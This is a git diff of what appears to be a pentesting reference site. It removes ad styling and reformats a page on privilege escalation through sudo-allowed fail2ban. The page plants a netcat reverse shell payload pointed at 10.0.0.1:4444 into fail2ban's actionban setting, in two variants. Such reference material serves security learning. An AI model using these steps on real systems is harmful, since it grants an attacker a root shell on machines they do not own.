diff --git a/src/_includes/layouts/base.vto b/src/_includes/layouts/base.vto index e0cbe4f..27cb298 100644 --- a/src/_includes/layouts/base.vto +++ b/src/_includes/layouts/base.vto @@ -9,7 +9,6 @@ {{# #}} - {{ if url.includes("/exploit/") }} {{ /if }} diff --git a/src/assets/css/carbonads.css b/src/assets/css/carbonads.css deleted file mode 100644 index 385ac8f..0000000 --- a/src/assets/css/carbonads.css +++ /dev/null @@ -1,86 +0,0 @@ -#carbonads * { - margin: initial; - padding: initial; - line-height: initial; - } - -#carbonads { - --carbon-font-family: -apple-system, BlinkMacSystemFont, - 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, - 'Helvetica Neue', Helvetica, Arial, sans-serif; - --carbon-font-size: 14px; - --carbon-padding: 1.5ch; - --carbon-max-char: 20ch; - --carbon-bg-primary: hsl(0, 0%, 98%); - --carbon-bg-secondary: hsl(0, 0%, 92%); - --carbon-text-color: hsl(0, 0%, 20%); - z-index: 10; - font-size: var(--carbon-font-size); - font-family: var(--carbon-font-family); -} - -#carbonads > span { - display: flex; - flex-direction: column; - min-inline-size: 130px; - max-inline-size: calc( - 130px + var(--carbon-max-char) + 8ch - ); - padding: var(--carbon-padding); - gap: var(--carbon-padding); - background-color: var(--carbon-bg-primary); - box-shadow: 0 0 1px hsl(0deg 0% 0% / 0.085), - 0 0 2px hsl(0deg 0% 0% / 0.085), - 0 0 4px hsl(0deg 0% 0% / 0.085), - 0 0 8px hsl(0deg 0% 0% / 0.085); -} - -#carbonads a { - color: var(--carbon-text-color); - text-decoration: none; -} - -#carbonads a:hover { - color: var(--carbon-text-color); -} - -#carbonads .carbon-wrap { - display: flex; - flex-wrap: wrap; - gap: 1.5ex; -} - -#carbonads .carbon-img { - flex: 0 0 130px; -} - -#carbonads .carbon-img img { - display: block; -} - -#carbonads .carbon-text { - flex-grow: 1; - flex-basis: var(--carbon-max-char); - line-height: 1.4; - text-align: left; -} - -#carbonads .carbon-poweredby { - padding: 6px 8px; - background: var(--carbon-bg-secondary); - color: var(--carbon-text-color); - font-weight: 600; - font-size: 0.6em; - line-height: 1.4; - letter-spacing: 0.2ch; - text-align: center; - text-transform: uppercase; -} - -@media (prefers-color-scheme: dark) { -#carbonads { - --carbon-bg-primary: hsl(0, 0%, 12%); - --carbon-bg-secondary: hsl(0, 0%, 15%); - --carbon-text-color: hsl(0, 0%, 90%); -} -} \ No newline at end of file diff --git a/src/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation.md b/src/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation.md index 91b0334..b2a4f1d 100644 --- a/src/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation.md +++ b/src/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation.md @@ -4,7 +4,7 @@ description: Sudo fail2ban command might be vulnerable to privilege escalation ( tags: - Privilege Escalation refs: -date: 2023-02-05 +date: 2024-09-16 draft: false --- @@ -67,47 +67,47 @@ Specifically, insert a payload to one of the following values. Here update the value of **actionban** which triggers ban on multiple login attempts. -Method 1 +- **Method 1** -Copy **iptables-multiport.conf** to the current user's home directory. + Copy **iptables-multiport.conf** to the current user's home directory. -```sh -ls -al /etc/fail2ban/action.d/iptables-multiport.conf -# copy this file into the home directory for editing the content -cp /etc/fail2ban/action.d/iptables-multiport.conf ~ -``` -Now modify the file. + ```sh + ls -al /etc/fail2ban/action.d/iptables-multiport.conf + # copy this file into the home directory for editing the content + cp /etc/fail2ban/action.d/iptables-multiport.conf ~ + ``` + Now modify the file. -```sh -vim ~/iptables-multiport.conf -``` + ```sh + vim ~/iptables-multiport.conf + ``` -We insert a reverse shell payload into the **actionban**. + We insert a reverse shell payload into the **actionban**. -```sh -actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash -``` + ```sh + actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash + ``` -Then move back the config file to the original one. + Then move back the config file to the original one. -```sh -mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf -``` + ```sh + mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf + ``` -Method 2 +- **Method 2** -Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files. + Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files. -```sh -# cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local -cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local -``` + ```sh + # cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local + cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local + ``` -We insert a reverse shell payload into the **actionban**. + We insert a reverse shell payload into the **actionban**. -```sh -actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash -``` + ```sh + actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash + ``` To apply the new configuration, restart it as root.